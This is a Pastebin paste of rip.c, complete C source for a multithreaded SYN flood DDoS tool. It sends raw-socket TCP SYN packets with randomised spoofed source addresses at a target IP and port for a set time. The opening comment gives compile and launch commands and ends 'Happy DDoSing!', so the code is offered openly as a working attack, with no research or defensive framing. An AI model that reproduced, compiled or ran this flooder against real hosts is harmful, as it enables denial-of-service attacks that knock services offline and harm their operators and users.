Advertisement
1337ings

rip.c

Aug 28th, 2016
942
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.31 KB | None | 0 0
  1. /*
  2. * Save as rip.c
  3. * ++++COMPILE++++
  4. * gcc -pthread rip.c -o rip
  5. * ++++DDoS command++++
  6. * ./rip 127.0.0.1 80 2 -1 3600
  7. * Happy DDoSing!
  8. */
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <sys/types.h>
  12. #include <sys/socket.h>
  13. #include <sys/ioctl.h>
  14. #include <string.h>
  15. #include <stdlib.h>
  16. #include <stdio.h>
  17. #include <pthread.h>
  18. #include <netinet/tcp.h>
  19. #include <netinet/ip.h>
  20. #include <netinet/in.h>
  21. #include <netinet/if_ether.h>
  22. #include <netdb.h>
  23. #include <net/if.h>
  24. #include <arpa/inet.h>
  25.  
  26. #define MAX_PACKET_SIZE 4096
  27. #define PHI 0x9e3779b9
  28.  
  29. static unsigned long int Q[4096], c = 362436;
  30. static unsigned int floodport;
  31. volatile int limiter;
  32. volatile unsigned int pps;
  33. volatile unsigned int sleeptime = 100;
  34.  
  35. void init_rand(unsigned long int x)
  36. {
  37. int i;
  38. Q[0] = x;
  39. Q[1] = x + PHI;
  40. Q[2] = x + PHI + PHI;
  41. for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  42. }
  43. unsigned long int rand_cmwc(void)
  44. {
  45. unsigned long long int t, a = 18782LL;
  46. static unsigned long int i = 4095;
  47. unsigned long int x, r = 0xfffffffe;
  48. i = (i + 1) & 4095;
  49. t = a * Q[i] + c;
  50. c = (t >> 32);
  51. x = t + c;
  52. if (x < c) {
  53. x++;
  54. c++;
  55. }
  56. return (Q[i] = r - x);
  57. }
  58. unsigned short csum (unsigned short *buf, int count)
  59. {
  60. register unsigned long sum = 0;
  61. while( count > 1 ) { sum += *buf++; count -= 2; }
  62. if(count > 0) { sum += *(unsigned char *)buf; }
  63. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  64. return (unsigned short)(~sum);
  65. }
  66.  
  67. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  68.  
  69. struct tcp_pseudo
  70. {
  71. unsigned long src_addr;
  72. unsigned long dst_addr;
  73. unsigned char zero;
  74. unsigned char proto;
  75. unsigned short length;
  76. } pseudohead;
  77. unsigned short total_len = iph->tot_len;
  78. pseudohead.src_addr=iph->saddr;
  79. pseudohead.dst_addr=iph->daddr;
  80. pseudohead.zero=0;
  81. pseudohead.proto=IPPROTO_TCP;
  82. pseudohead.length=htons(sizeof(struct tcphdr));
  83. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  84. unsigned short *tcp = malloc(totaltcp_len);
  85. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  86. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  87. unsigned short output = csum(tcp,totaltcp_len);
  88. free(tcp);
  89. return output;
  90. }
  91.  
  92. void setup_ip_header(struct iphdr *iph)
  93. {
  94. iph->ihl = 5;
  95. iph->version = 4;
  96. iph->tos = 0;
  97. iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  98. iph->id = htonl(54321);
  99. iph->frag_off = 0;
  100. iph->ttl = MAXTTL;
  101. iph->protocol = 6;
  102. iph->check = 0;
  103. iph->saddr = inet_addr("192.168.3.100");
  104. }
  105.  
  106. void setup_tcp_header(struct tcphdr *tcph)
  107. {
  108. tcph->source = htons(5678);
  109. tcph->seq = rand();
  110. tcph->ack_seq = 0;
  111. tcph->res2 = 0;
  112. tcph->doff = 5;
  113. tcph->syn = 1;
  114. tcph->window = htonl(65535);
  115. tcph->check = 0;
  116. tcph->urg_ptr = 0;
  117. }
  118.  
  119. void *flood(void *par1)
  120. {
  121. char *td = (char *)par1;
  122. char datagram[MAX_PACKET_SIZE];
  123. struct iphdr *iph = (struct iphdr *)datagram;
  124. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  125.  
  126. struct sockaddr_in sin;
  127. sin.sin_family = AF_INET;
  128. sin.sin_port = htons(floodport);
  129. sin.sin_addr.s_addr = inet_addr(td);
  130.  
  131. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  132. if(s < 0){
  133. fprintf(stderr, "Could not open raw socket.\n");
  134. exit(-1);
  135. }
  136. memset(datagram, 0, MAX_PACKET_SIZE);
  137. setup_ip_header(iph);
  138. setup_tcp_header(tcph);
  139.  
  140. tcph->dest = htons(floodport);
  141.  
  142. iph->daddr = sin.sin_addr.s_addr;
  143. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  144.  
  145. int tmp = 1;
  146. const int *val = &tmp;
  147. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  148. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  149. exit(-1);
  150. }
  151.  
  152. init_rand(time(NULL));
  153. register unsigned int i;
  154. i = 0;
  155. while(1){
  156. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  157.  
  158. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  159. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  160. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  161. tcph->seq = rand_cmwc() & 0xFFFF;
  162. tcph->source = htons(rand_cmwc() & 0xFFFF);
  163. tcph->check = 0;
  164. tcph->check = tcpcsum(iph, tcph);
  165.  
  166. pps++;
  167. if(i >= limiter)
  168. {
  169. i = 0;
  170. usleep(sleeptime);
  171. }
  172. i++;
  173. }
  174. }
  175. int main(int argc, char *argv[ ])
  176. {
  177. if(argc < 6){
  178. fprintf(stderr, "Invalid parameters!\n");
  179. fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  180. exit(-1);
  181. }
  182.  
  183. fprintf(stdout, "Setting up Sockets...\n");
  184.  
  185. int num_threads = atoi(argv[3]);
  186. floodport = atoi(argv[2]);
  187. int maxpps = atoi(argv[4]);
  188. limiter = 0;
  189. pps = 0;
  190. pthread_t thread[num_threads];
  191.  
  192. int multiplier = 20;
  193.  
  194. int i;
  195. for(i = 0;i<num_threads;i++){
  196. pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  197. }
  198. fprintf(stdout, "Starting Flood...\n");
  199. for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  200. {
  201. usleep((1000/multiplier)*1000);
  202. if((pps*multiplier) > maxpps)
  203. {
  204. if(1 > limiter)
  205. {
  206. sleeptime+=100;
  207. } else {
  208. limiter--;
  209. }
  210. } else {
  211. limiter++;
  212. if(sleeptime > 25)
  213. {
  214. sleeptime-=25;
  215. } else {
  216. sleeptime = 0;
  217. }
  218. }
  219. pps = 0;
  220. }
  221.  
  222. return 0;
  223. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement